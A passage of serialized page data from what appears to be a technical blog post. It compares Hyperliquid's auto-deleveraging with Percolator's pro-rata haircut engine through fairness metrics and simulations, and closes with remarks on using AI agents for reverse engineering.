children":168946},{"className":168945},[9635],[168947],{"type":29,"value":3173},{"type":29,"value":20789},{"type":24,"tag":80,"props":168950,"children":168952},{"className":168951},[9607,9608],[168953],{"type":24,"tag":147,"props":168954,"children":168956},{"className":168955},[9613],[168957],{"type":24,"tag":147,"props":168958,"children":168960},{"className":168959,"ariaHidden":9619},[9618],[168961,168987],{"type":24,"tag":147,"props":168962,"children":168964},{"className":168963},[9624],[168965,168969,168974,168978,168983],{"type":24,"tag":147,"props":168966,"children":168968},{"className":168967,"style":27185},[9629],[],{"type":24,"tag":147,"props":168970,"children":168972},{"className":168971,"style":27649},[9635,27190],[168973],{"type":29,"value":27652},{"type":24,"tag":147,"props":168975,"children":168977},{"className":168976,"style":9812},[9714],[],{"type":24,"tag":147,"props":168979,"children":168981},{"className":168980},[9817],[168982],{"type":29,"value":369},{"type":24,"tag":147,"props":168984,"children":168986},{"className":168985,"style":9812},[9714],[],{"type":24,"tag":147,"props":168988,"children":168990},{"className":168989},[9624],[168991,168995],{"type":24,"tag":147,"props":168992,"children":168994},{"className":168993,"style":99661},[9629],[],{"type":24,"tag":147,"props":168996,"children":168998},{"className":168997},[9635],[168999],{"type":29,"value":3173},{"type":29,"value":169001}," means nothing was recovered.",{"type":24,"tag":2678,"props":169003,"children":169004},{},[169005,169009,169010,169133,169134,169351,169353,169457,169459,169510,169512,169564],{"type":24,"tag":8545,"props":169006,"children":169007},{},[169008],{"type":29,"value":165658},{"type":29,"value":38512},{"type":24,"tag":80,"props":169011,"children":169013},{"className":169012},[9607,9608],[169014],{"type":24,"tag":147,"props":169015,"children":169017},{"className":169016},[9613],[169018],{"type":24,"tag":147,"props":169019,"children":169021},{"className":169020,"ariaHidden":9619},[9618],[169022,169048],{"type":24,"tag":147,"props":169023,"children":169025},{"className":169024},[9624],[169026,169030,169035,169039,169044],{"type":24,"tag":147,"props":169027,"children":169029},{"className":169028,"style":168555},[9629],[],{"type":24,"tag":147,"props":169031,"children":169033},{"className":169032},[9635],[169034],{"type":29,"value":1154},{"type":24,"tag":147,"props":169036,"children":169038},{"className":169037,"style":9715},[9714],[],{"type":24,"tag":147,"props":169040,"children":169042},{"className":169041},[9720],[169043],{"type":29,"value":9694},{"type":24,"tag":147,"props":169045,"children":169047},{"className":169046,"style":9715},[9714],[],{"type":24,"tag":147,"props":169049,"children":169051},{"className":169050},[9624],[169052,169056,169066,169071,169128],{"type":24,"tag":147,"props":169053,"children":169055},{"className":169054,"style":9735},[9629],[],{"type":24,"tag":147,"props":169057,"children":169059},{"className":169058},[9635,29],[169060],{"type":24,"tag":147,"props":169061,"children":169063},{"className":169062},[9635],[169064],{"type":29,"value":169065},"Gini",{"type":24,"tag":147,"props":169067,"children":169069},{"className":169068},[27319],[169070],{"type":29,"value":480},{"type":24,"tag":147,"props":169072,"children":169074},{"className":169073},[9635],[169075,169080],{"type":24,"tag":147,"props":169076,"children":169078},{"className":169077},[9635,27190],[169079],{"type":29,"value":89928},{"type":24,"tag":147,"props":169081,"children":169083},{"className":169082},[9650],[169084],{"type":24,"tag":147,"props":169085,"children":169087},{"className":169086},[9655,27244],[169088,169117],{"type":24,"tag":147,"props":169089,"children":169091},{"className":169090},[9660],[169092,169112],{"type":24,"tag":147,"props":169093,"children":169095},{"className":169094,"style":99159},[9665],[169096],{"type":24,"tag":147,"props":169097,"children":169098},{"style":98686},[169099,169103],{"type":24,"tag":147,"props":169100,"children":169102},{"className":169101,"style":9675},[9674],[],{"type":24,"tag":147,"props":169104,"children":169106},{"className":169105},[9680,9681,9682,9683],[169107],{"type":24,"tag":147,"props":169108,"children":169110},{"className":169109},[9635,27190,9683],[169111],{"type":29,"value":9363},{"type":24,"tag":147,"props":169113,"children":169115},{"className":169114},[27347],[169116],{"type":29,"value":27350},{"type":24,"tag":147,"props":169118,"children":169120},{"className":169119},[9660],[169121],{"type":24,"tag":147,"props":169122,"children":169124},{"className":169123,"style":98713},[9665],[169125],{"type":24,"tag":147,"props":169126,"children":169127},{},[],{"type":24,"tag":147,"props":169129,"children":169131},{"className":169130},[27341],[169132],{"type":29,"value":8758},{"type":29,"value":6312},{"type":24,"tag":80,"props":169135,"children":169137},{"className":169136},[9607,9608],[169138],{"type":24,"tag":147,"props":169139,"children":169141},{"className":169140},[9613],[169142],{"type":24,"tag":147,"props":169143,"children":169145},{"className":169144,"ariaHidden":9619},[9618],[169146,169224],{"type":24,"tag":147,"props":169147,"children":169149},{"className":169148},[9624],[169150,169154,169211,169215,169220],{"type":24,"tag":147,"props":169151,"children":169153},{"className":169152,"style":147115},[9629],[],{"type":24,"tag":147,"props":169155,"children":169157},{"className":169156},[9635],[169158,169163],{"type":24,"tag":147,"props":169159,"children":169161},{"className":169160},[9635,27190],[169162],{"type":29,"value":89928},{"type":24,"tag":147,"props":169164,"children":169166},{"className":169165},[9650],[169167],{"type":24,"tag":147,"props":169168,"children":169170},{"className":169169},[9655,27244],[169171,169200],{"type":24,"tag":147,"props":169172,"children":169174},{"className":169173},[9660],[169175,169195],{"type":24,"tag":147,"props":169176,"children":169178},{"className":169177,"style":99159},[9665],[169179],{"type":24,"tag":147,"props":169180,"children":169181},{"style":98686},[169182,169186],{"type":24,"tag":147,"props":169183,"children":169185},{"className":169184,"style":9675},[9674],[],{"type":24,"tag":147,"props":169187,"children":169189},{"className":169188},[9680,9681,9682,9683],[169190],{"type":24,"tag":147,"props":169191,"children":169193},{"className":169192},[9635,27190,9683],[169194],{"type":29,"value":9363},{"type":24,"tag":147,"props":169196,"children":169198},{"className":169197},[27347],[169199],{"type":29,"value":27350},{"type":24,"tag":147,"props":169201,"children":169203},{"className":169202},[9660],[169204],{"type":24,"tag":147,"props":169205,"children":169207},{"className":169206,"style":98713},[9665],[169208],{"type":24,"tag":147,"props":169209,"children":169210},{},[],{"type":24,"tag":147,"props":169212,"children":169214},{"className":169213,"style":9812},[9714],[],{"type":24,"tag":147,"props":169216,"children":169218},{"className":169217},[9817],[169219],{"type":29,"value":369},{"type":24,"tag":147,"props":169221,"children":169223},{"className":169222,"style":9812},[9714],[],{"type":24,"tag":147,"props":169225,"children":169227},{"className":169226},[9624],[169228,169232,169289,169294],{"type":24,"tag":147,"props":169229,"children":169231},{"className":169230,"style":9735},[9629],[],{"type":24,"tag":147,"props":169233,"children":169235},{"className":169234},[9635],[169236,169241],{"type":24,"tag":147,"props":169237,"children":169239},{"className":169238},[9635,27190],[169240],{"type":29,"value":24880},{"type":24,"tag":147,"props":169242,"children":169244},{"className":169243},[9650],[169245],{"type":24,"tag":147,"props":169246,"children":169248},{"className":169247},[9655,27244],[169249,169278],{"type":24,"tag":147,"props":169250,"children":169252},{"className":169251},[9660],[169253,169273],{"type":24,"tag":147,"props":169254,"children":169256},{"className":169255,"style":99159},[9665],[169257],{"type":24,"tag":147,"props":169258,"children":169259},{"style":98686},[169260,169264],{"type":24,"tag":147,"props":169261,"children":169263},{"className":169262,"style":9675},[9674],[],{"type":24,"tag":147,"props":169265,"children":169267},{"className":169266},[9680,9681,9682,9683],[169268],{"type":24,"tag":147,"props":169269,"children":169271},{"className":169270},[9635,27190,9683],[169272],{"type":29,"value":9363},{"type":24,"tag":147,"props":169274,"children":169276},{"className":169275},[27347],[169277],{"type":29,"value":27350},{"type":24,"tag":147,"props":169279,"children":169281},{"className":169280},[9660],[169282],{"type":24,"tag":147,"props":169283,"children":169285},{"className":169284,"style":98713},[9665],[169286],{"type":24,"tag":147,"props":169287,"children":169288},{},[],{"type":24,"tag":147,"props":169290,"children":169292},{"className":169291},[9635],[169293],{"type":29,"value":10204},{"type":24,"tag":147,"props":169295,"children":169297},{"className":169296},[9635],[169298,169303],{"type":24,"tag":147,"props":169299,"children":169301},{"className":169300,"style":127900},[9635,27190],[169302],{"type":29,"value":55169},{"type":24,"tag":147,"props":169304,"children":169306},{"className":169305},[9650],[169307],{"type":24,"tag":147,"props":169308,"children":169310},{"className":169309},[9655,27244],[169311,169340],{"type":24,"tag":147,"props":169312,"children":169314},{"className":169313},[9660],[169315,169335],{"type":24,"tag":147,"props":169316,"children":169318},{"className":169317,"style":99159},[9665],[169319],{"type":24,"tag":147,"props":169320,"children":169321},{"style":166064},[169322,169326],{"type":24,"tag":147,"props":169323,"children":169325},{"className":169324,"style":9675},[9674],[],{"type":24,"tag":147,"props":169327,"children":169329},{"className":169328},[9680,9681,9682,9683],[169330],{"type":24,"tag":147,"props":169331,"children":169333},{"className":169332},[9635,27190,9683],[169334],{"type":29,"value":9363},{"type":24,"tag":147,"props":169336,"children":169338},{"className":169337},[27347],[169339],{"type":29,"value":27350},{"type":24,"tag":147,"props":169341,"children":169343},{"className":169342},[9660],[169344],{"type":24,"tag":147,"props":169345,"children":169347},{"className":169346,"style":98713},[9665],[169348],{"type":24,"tag":147,"props":169349,"children":169350},{},[],{"type":29,"value":169352}," for each winner with ",{"type":24,"tag":80,"props":169354,"children":169356},{"className":169355},[9607,9608],[169357],{"type":24,"tag":147,"props":169358,"children":169360},{"className":169359},[9613],[169361],{"type":24,"tag":147,"props":169362,"children":169364},{"className":169363,"ariaHidden":9619},[9618],[169365,169444],{"type":24,"tag":147,"props":169366,"children":169368},{"className":169367},[9624],[169369,169374,169431,169435,169440],{"type":24,"tag":147,"props":169370,"children":169373},{"className":169371,"style":169372},[9629],"height:0.6891em;vertical-align:-0.15em;",[],{"type":24,"tag":147,"props":169375,"children":169377},{"className":169376},[9635],[169378,169383],{"type":24,"tag":147,"props":169379,"children":169381},{"className":169380,"style":127900},[9635,27190],[169382],{"type":29,"value":55169},{"type":24,"tag":147,"props":169384,"children":169386},{"className":169385},[9650],[169387],{"type":24,"tag":147,"props":169388,"children":169390},{"className":169389},[9655,27244],[169391,169420],{"type":24,"tag":147,"props":169392,"children":169394},{"className":169393},[9660],[169395,169415],{"type":24,"tag":147,"props":169396,"children":169398},{"className":169397,"style":99159},[9665],[169399],{"type":24,"tag":147,"props":169400,"children":169401},{"style":166064},[169402,169406],{"type":24,"tag":147,"props":169403,"children":169405},{"className":169404,"style":9675},[9674],[],{"type":24,"tag":147,"props":169407,"children":169409},{"className":169408},[9680,9681,9682,9683],[169410],{"type":24,"tag":147,"props":169411,"children":169413},{"className":169412},[9635,27190,9683],[169414],{"type":29,"value":9363},{"type":24,"tag":147,"props":169416,"children":169418},{"className":169417},[27347],[169419],{"type":29,"value":27350},{"type":24,"tag":147,"props":169421,"children":169423},{"className":169422},[9660],[169424],{"type":24,"tag":147,"props":169425,"children":169427},{"className":169426,"style":98713},[9665],[169428],{"type":24,"tag":147,"props":169429,"children":169430},{},[],{"type":24,"tag":147,"props":169432,"children":169434},{"className":169433,"style":9812},[9714],[],{"type":24,"tag":147,"props":169436,"children":169438},{"className":169437},[9817],[169439],{"type":29,"value":3453},{"type":24,"tag":147,"props":169441,"children":169443},{"className":169442,"style":9812},[9714],[],{"type":24,"tag":147,"props":169445,"children":169447},{"className":169446},[9624],[169448,169452],{"type":24,"tag":147,"props":169449,"children":169451},{"className":169450,"style":99661},[9629],[],{"type":24,"tag":147,"props":169453,"children":169455},{"className":169454},[9635],[169456],{"type":29,"value":3173},{"type":29,"value":169458}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":24,"tag":80,"props":169460,"children":169462},{"className":169461},[9607,9608],[169463],{"type":24,"tag":147,"props":169464,"children":169466},{"className":169465},[9613],[169467],{"type":24,"tag":147,"props":169468,"children":169470},{"className":169469,"ariaHidden":9619},[9618],[169471,169497],{"type":24,"tag":147,"props":169472,"children":169474},{"className":169473},[9624],[169475,169479,169484,169488,169493],{"type":24,"tag":147,"props":169476,"children":169478},{"className":169477,"style":27185},[9629],[],{"type":24,"tag":147,"props":169480,"children":169482},{"className":169481,"style":27191},[9635,27190],[169483],{"type":29,"value":127398},{"type":24,"tag":147,"props":169485,"children":169487},{"className":169486,"style":9812},[9714],[],{"type":24,"tag":147,"props":169489,"children":169491},{"className":169490},[9817],[169492],{"type":29,"value":369},{"type":24,"tag":147,"props":169494,"children":169496},{"className":169495,"style":9812},[9714],[],{"type":24,"tag":147,"props":169498,"children":169500},{"className":169499},[9624],[169501,169505],{"type":24,"tag":147,"props":169502,"children":169504},{"className":169503,"style":99661},[9629],[],{"type":24,"tag":147,"props":169506,"children":169508},{"className":169507},[9635],[169509],{"type":29,"value":1154},{"type":29,"value":169511}," means everyone loses the same fraction of their PNL. ",{"type":24,"tag":80,"props":169513,"children":169515},{"className":169514},[9607,9608],[169516],{"type":24,"tag":147,"props":169517,"children":169519},{"className":169518},[9613],[169520],{"type":24,"tag":147,"props":169521,"children":169523},{"className":169522,"ariaHidden":9619},[9618],[169524,169551],{"type":24,"tag":147,"props":169525,"children":169527},{"className":169526},[9624],[169528,169532,169537,169541,169547],{"type":24,"tag":147,"props":169529,"children":169531},{"className":169530,"style":27185},[9629],[],{"type":24,"tag":147,"props":169533,"children":169535},{"className":169534,"style":27191},[9635,27190],[169536],{"type":29,"value":127398},{"type":24,"tag":147,"props":169538,"children":169540},{"className":169539,"style":9812},[9714],[],{"type":24,"tag":147,"props":169542,"children":169544},{"className":169543},[9817],[169545],{"type":29,"value":169546},"≈",{"type":24,"tag":147,"props":169548,"children":169550},{"className":169549,"style":9812},[9714],[],{"type":24,"tag":147,"props":169552,"children":169554},{"className":169553},[9624],[169555,169559],{"type":24,"tag":147,"props":169556,"children":169558},{"className":169557,"style":99661},[9629],[],{"type":24,"tag":147,"props":169560,"children":169562},{"className":169561},[9635],[169563],{"type":29,"value":3173},{"type":29,"value":169565}," means a few get wiped while most are untouched.",{"type":24,"tag":2678,"props":169567,"children":169568},{},[169569,169573,169574,169732,169734,169828,169830],{"type":24,"tag":8545,"props":169570,"children":169571},{},[169572],{"type":29,"value":165668},{"type":29,"value":38512},{"type":24,"tag":80,"props":169575,"children":169577},{"className":169576},[9607,9608],[169578],{"type":24,"tag":147,"props":169579,"children":169581},{"className":169580},[9613],[169582],{"type":24,"tag":147,"props":169583,"children":169585},{"className":169584,"ariaHidden":9619},[9618],[169586],{"type":24,"tag":147,"props":169587,"children":169589},{"className":169588},[9624],[169590,169595,169670,169675],{"type":24,"tag":147,"props":169591,"children":169594},{"className":169592,"style":169593},[9629],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":24,"tag":147,"props":169596,"children":169598},{"className":169597},[9635],[169599,169604],{"type":24,"tag":147,"props":169600,"children":169602},{"className":169601,"style":100638},[9635,27190],[169603],{"type":29,"value":166393},{"type":24,"tag":147,"props":169605,"children":169607},{"className":169606},[9650],[169608],{"type":24,"tag":147,"props":169609,"children":169611},{"className":169610},[9655,27244],[169612,169658],{"type":24,"tag":147,"props":169613,"children":169615},{"className":169614},[9660],[169616,169653],{"type":24,"tag":147,"props":169617,"children":169619},{"className":169618,"style":114338},[9665],[169620,169637],{"type":24,"tag":147,"props":169621,"children":169623},{"style":169622},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[169624,169628],{"type":24,"tag":147,"props":169625,"children":169627},{"className":169626,"style":9675},[9674],[],{"type":24,"tag":147,"props":169629,"children":169631},{"className":169630},[9680,9681,9682,9683],[169632],{"type":24,"tag":147,"props":169633,"children":169635},{"className":169634,"style":27191},[9635,27190,9683],[169636],{"type":29,"value":11612},{"type":24,"tag":147,"props":169638,"children":169639},{"style":9669},[169640,169644],{"type":24,"tag":147,"props":169641,"children":169643},{"className":169642,"style":9675},[9674],[],{"type":24,"tag":147,"props":169645,"children":169647},{"className":169646},[9680,9681,9682,9683],[169648],{"type":24,"tag":147,"props":169649,"children":169651},{"className":169650,"style":99116},[9635,27190,9683],[169652],{"type":29,"value":165907},{"type":24,"tag":147,"props":169654,"children":169656},{"className":169655},[27347],[169657],{"type":29,"value":27350},{"type":24,"tag":147,"props":169659,"children":169661},{"className":169660},[9660],[169662],{"type":24,"tag":147,"props":169663,"children":169666},{"className":169664,"style":169665},[9665],"height:0.2753em;",[169667],{"type":24,"tag":147,"props":169668,"children":169669},{},[],{"type":24,"tag":147,"props":169671,"children":169673},{"className":169672},[9635],[169674],{"type":29,"value":10204},{"type":24,"tag":147,"props":169676,"children":169678},{"className":169677},[9635],[169679,169684],{"type":24,"tag":147,"props":169680,"children":169682},{"className":169681,"style":100638},[9635,27190],[169683],{"type":29,"value":166393},{"type":24,"tag":147,"props":169685,"children":169687},{"className":169686},[9650],[169688],{"type":24,"tag":147,"props":169689,"children":169691},{"className":169690},[9655,27244],[169692,169721],{"type":24,"tag":147,"props":169693,"children":169695},{"className":169694},[9660],[169696,169716],{"type":24,"tag":147,"props":169697,"children":169699},{"className":169698,"style":147391},[9665],[169700],{"type":24,"tag":147,"props":169701,"children":169702},{"style":166412},[169703,169707],{"type":24,"tag":147,"props":169704,"children":169706},{"className":169705,"style":9675},[9674],[],{"type":24,"tag":147,"props":169708,"children":169710},{"className":169709},[9680,9681,9682,9683],[169711],{"type":24,"tag":147,"props":169712,"children":169714},{"className":169713,"style":27191},[9635,27190,9683],[169715],{"type":29,"value":11612},{"type":24,"tag":147,"props":169717,"children":169719},{"className":169718},[27347],[169720],{"type":29,"value":27350},{"type":24,"tag":147,"props":169722,"children":169724},{"className":169723},[9660],[169725],{"type":24,"tag":147,"props":169726,"children":169728},{"className":169727,"style":98713},[9665],[169729],{"type":24,"tag":147,"props":169730,"children":169731},{},[],{"type":29,"value":169733}," — ",{"type":24,"tag":80,"props":169735,"children":169737},{"className":169736},[9607,9608],[169738],{"type":24,"tag":147,"props":169739,"children":169741},{"className":169740},[9613],[169742],{"type":24,"tag":147,"props":169743,"children":169745},{"className":169744,"ariaHidden":9619},[9618],[169746],{"type":24,"tag":147,"props":169747,"children":169749},{"className":169748},[9624],[169750,169755],{"type":24,"tag":147,"props":169751,"children":169754},{"className":169752,"style":169753},[9629],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":24,"tag":147,"props":169756,"children":169758},{"className":169757},[9635],[169759,169764],{"type":24,"tag":147,"props":169760,"children":169762},{"className":169761,"style":100638},[9635,27190],[169763],{"type":29,"value":166393},{"type":24,"tag":147,"props":169765,"children":169767},{"className":169766},[9650],[169768],{"type":24,"tag":147,"props":169769,"children":169771},{"className":169770},[9655,27244],[169772,169817],{"type":24,"tag":147,"props":169773,"children":169775},{"className":169774},[9660],[169776,169812],{"type":24,"tag":147,"props":169777,"children":169779},{"className":169778,"style":114338},[9665],[169780,169796],{"type":24,"tag":147,"props":169781,"children":169782},{"style":169622},[169783,169787],{"type":24,"tag":147,"props":169784,"children":169786},{"className":169785,"style":9675},[9674],[],{"type":24,"tag":147,"props":169788,"children":169790},{"className":169789},[9680,9681,9682,9683],[169791],{"type":24,"tag":147,"props":169792,"children":169794},{"className":169793,"style":27191},[9635,27190,9683],[169795],{"type":29,"value":11612},{"type":24,"tag":147,"props":169797,"children":169798},{"style":9669},[169799,169803],{"type":24,"tag":147,"props":169800,"children":169802},{"className":169801,"style":9675},[9674],[],{"type":24,"tag":147,"props":169804,"children":169806},{"className":169805},[9680,9681,9682,9683],[169807],{"type":24,"tag":147,"props":169808,"children":169810},{"className":169809,"style":99116},[9635,27190,9683],[169811],{"type":29,"value":165907},{"type":24,"tag":147,"props":169813,"children":169815},{"className":169814},[27347],[169816],{"type":29,"value":27350},{"type":24,"tag":147,"props":169818,"children":169820},{"className":169819},[9660],[169821],{"type":24,"tag":147,"props":169822,"children":169824},{"className":169823,"style":169665},[9665],[169825],{"type":24,"tag":147,"props":169826,"children":169827},{},[],{"type":29,"value":169829}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":24,"tag":80,"props":169831,"children":169833},{"className":169832},[9607,9608],[169834],{"type":24,"tag":147,"props":169835,"children":169837},{"className":169836},[9613],[169838],{"type":24,"tag":147,"props":169839,"children":169841},{"className":169840,"ariaHidden":9619},[9618],[169842],{"type":24,"tag":147,"props":169843,"children":169845},{"className":169844},[9624],[169846,169850],{"type":24,"tag":147,"props":169847,"children":169849},{"className":169848,"style":116462},[9629],[],{"type":24,"tag":147,"props":169851,"children":169853},{"className":169852,"style":99116},[9635,27190],[169854],{"type":29,"value":165907},{"type":24,"tag":25,"props":169856,"children":169857},{},[169858],{"type":29,"value":169859},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":24,"tag":169861,"props":169862,"children":169864},"git-hub-repo-link",{"url":169863},"https://github.com/aeyakovenko/percolator",[],{"type":24,"tag":25,"props":169866,"children":169867},{},[169868,169870,169875],{"type":29,"value":169869},"Given a fixed ",{"type":24,"tag":8545,"props":169871,"children":169872},{},[169873],{"type":29,"value":169874},"a priori",{"type":29,"value":169876}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":24,"tag":25,"props":169878,"children":169879},{},[169880,169882,169887,169889,169966],{"type":29,"value":169881},"One prediction that we can make is that Percolator is ",{"type":24,"tag":8545,"props":169883,"children":169884},{},[169885],{"type":29,"value":169886},"perfectly fair",{"type":29,"value":169888}," according to this scoring: the ",{"type":24,"tag":80,"props":169890,"children":169892},{"className":169891},[9607,9608],[169893],{"type":24,"tag":147,"props":169894,"children":169896},{"className":169895},[9613],[169897],{"type":24,"tag":147,"props":169898,"children":169900},{"className":169899,"ariaHidden":9619},[9618],[169901],{"type":24,"tag":147,"props":169902,"children":169904},{"className":169903},[9624],[169905,169909],{"type":24,"tag":147,"props":169906,"children":169908},{"className":169907,"style":147115},[9629],[],{"type":24,"tag":147,"props":169910,"children":169912},{"className":169911},[9635],[169913,169918],{"type":24,"tag":147,"props":169914,"children":169916},{"className":169915},[9635,27190],[169917],{"type":29,"value":89928},{"type":24,"tag":147,"props":169919,"children":169921},{"className":169920},[9650],[169922],{"type":24,"tag":147,"props":169923,"children":169925},{"className":169924},[9655,27244],[169926,169955],{"type":24,"tag":147,"props":169927,"children":169929},{"className":169928},[9660],[169930,169950],{"type":24,"tag":147,"props":169931,"children":169933},{"className":169932,"style":99159},[9665],[169934],{"type":24,"tag":147,"props":169935,"children":169936},{"style":98686},[169937,169941],{"type":24,"tag":147,"props":169938,"children":169940},{"className":169939,"style":9675},[9674],[],{"type":24,"tag":147,"props":169942,"children":169944},{"className":169943},[9680,9681,9682,9683],[169945],{"type":24,"tag":147,"props":169946,"children":169948},{"className":169947},[9635,27190,9683],[169949],{"type":29,"value":9363},{"type":24,"tag":147,"props":169951,"children":169953},{"className":169952},[27347],[169954],{"type":29,"value":27350},{"type":24,"tag":147,"props":169956,"children":169958},{"className":169957},[9660],[169959],{"type":24,"tag":147,"props":169960,"children":169962},{"className":169961,"style":98713},[9665],[169963],{"type":24,"tag":147,"props":169964,"children":169965},{},[],{"type":29,"value":169967}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":24,"tag":25,"props":169969,"children":169970},{},[169971,169973,169978],{"type":29,"value":169972},"We are ignoring the ",{"type":24,"tag":8545,"props":169974,"children":169975},{},[169976],{"type":29,"value":169977},"a posteriori",{"type":29,"value":169979}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":24,"tag":25,"props":169981,"children":169982},{},[169983],{"type":29,"value":169984},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":24,"tag":32,"props":169986,"children":169988},{"id":169987},"simulations",[169989],{"type":29,"value":169990},"Simulations",{"type":24,"tag":25,"props":169992,"children":169993},{},[169994],{"type":29,"value":169995},"Let's consider the following price scenarios, as we said:",{"type":24,"tag":25,"props":169997,"children":169998},{},[169999],{"type":24,"tag":63,"props":170000,"children":170003},{"alt":170001,"src":170002},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":24,"tag":25,"props":170005,"children":170006},{},[170007],{"type":29,"value":170008},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":24,"tag":25,"props":170010,"children":170011},{},[170012],{"type":24,"tag":63,"props":170013,"children":170016},{"alt":170014,"src":170015},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":24,"tag":43,"props":170018,"children":170020},{"id":170019},"percolator-is-more-optimistic",[170021],{"type":29,"value":170022},"Percolator Is More \"Optimistic\"",{"type":24,"tag":25,"props":170024,"children":170025},{},[170026,170028,170033,170035,170040,170042,170048,170050,170055],{"type":29,"value":170027},"The key difference is what happens to positions. ADL ",{"type":24,"tag":8545,"props":170029,"children":170030},{},[170031],{"type":29,"value":170032},"permanently closes",{"type":29,"value":170034}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":24,"tag":8545,"props":170036,"children":170037},{},[170038],{"type":29,"value":170039},"withdraw",{"type":29,"value":170041},", but the position stays open. If conditions improve, ",{"type":24,"tag":80,"props":170043,"children":170045},{"className":170044},[],[170046],{"type":29,"value":170047},"Residual",{"type":29,"value":170049}," goes up, ",{"type":24,"tag":80,"props":170051,"children":170053},{"className":170052},[],[170054],{"type":29,"value":89928},{"type":29,"value":170056}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":24,"tag":25,"props":170058,"children":170059},{},[170060,170062,170066],{"type":29,"value":170061},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":24,"tag":8545,"props":170063,"children":170064},{},[170065],{"type":29,"value":25790},{"type":29,"value":170067}," per position, though the tradeoff is that fewer traders get to participate.",{"type":24,"tag":25,"props":170069,"children":170070},{},[170071],{"type":24,"tag":63,"props":170072,"children":170075},{"alt":170073,"src":170074},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":24,"tag":32,"props":170077,"children":170079},{"id":170078},"some-points-to-be-made",[170080],{"type":29,"value":170081},"Some Points to Be Made",{"type":24,"tag":43,"props":170083,"children":170085},{"id":170084},"percolator-is-indifferent-to-leverage",[170086],{"type":29,"value":170087},"Percolator Is Indifferent to Leverage",{"type":24,"tag":25,"props":170089,"children":170090},{},[170091],{"type":29,"value":170092},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":24,"tag":25,"props":170094,"children":170095},{},[170096],{"type":24,"tag":63,"props":170097,"children":170100},{"alt":170098,"src":170099},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":24,"tag":43,"props":170102,"children":170104},{"id":170103},"fairness",[170105],{"type":29,"value":165658},{"type":24,"tag":25,"props":170107,"children":170108},{},[170109],{"type":29,"value":170110},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":24,"tag":25,"props":170112,"children":170113},{},[170114],{"type":24,"tag":63,"props":170115,"children":170118},{"alt":170116,"src":170117},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":24,"tag":25,"props":170120,"children":170121},{},[170122,170124,170129],{"type":29,"value":170123},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":24,"tag":80,"props":170125,"children":170127},{"className":170126},[],[170128],{"type":29,"value":164160},{"type":29,"value":170130}," we start by fully closing the worst position against the best-performing trader.",{"type":24,"tag":32,"props":170132,"children":170134},{"id":170133},"strengths-and-limitations-of-agents-for-reverse-engineering",[170135],{"type":29,"value":170136},"Strengths and Limitations of Agents for Reverse Engineering",{"type":24,"tag":25,"props":170138,"children":170139},{},[170140],{"type":29,"value":170141},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":24,"tag":43,"props":170143,"children":170145},{"id":170144},"hooks",[170146],{"type":29,"value":170147},"Hooks",{"type":24,"tag":25,"props":170149,"children":170150},{},[170151,170153,170157],{"type":29,"value":170152},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":24,"tag":8545,"props":170154,"children":170155},{},[170156],{"type":29,"value":170144},{"type":29,"value":170158},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":24,"tag":25,"props":170160,"children":170161},{},[170162],{"type":29,"value":170163},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":24,"tag":43,"props":170165,"children":170167},{"id":170166},"scale",[170168],{"type":29,"value":170169},"Scale",{"type":24,"tag":25,"props":170171,"children":170172},{},[170173],{"type":29,"value":170174},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":24,"tag":25,"props":170176,"children":170177},{},[170178],{"type":29,"value":170179},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":24,"tag":43,"props":170181,"children":170183},{"id":170182},"whats-next",[170184],{"type":29,"value":170185},"What's 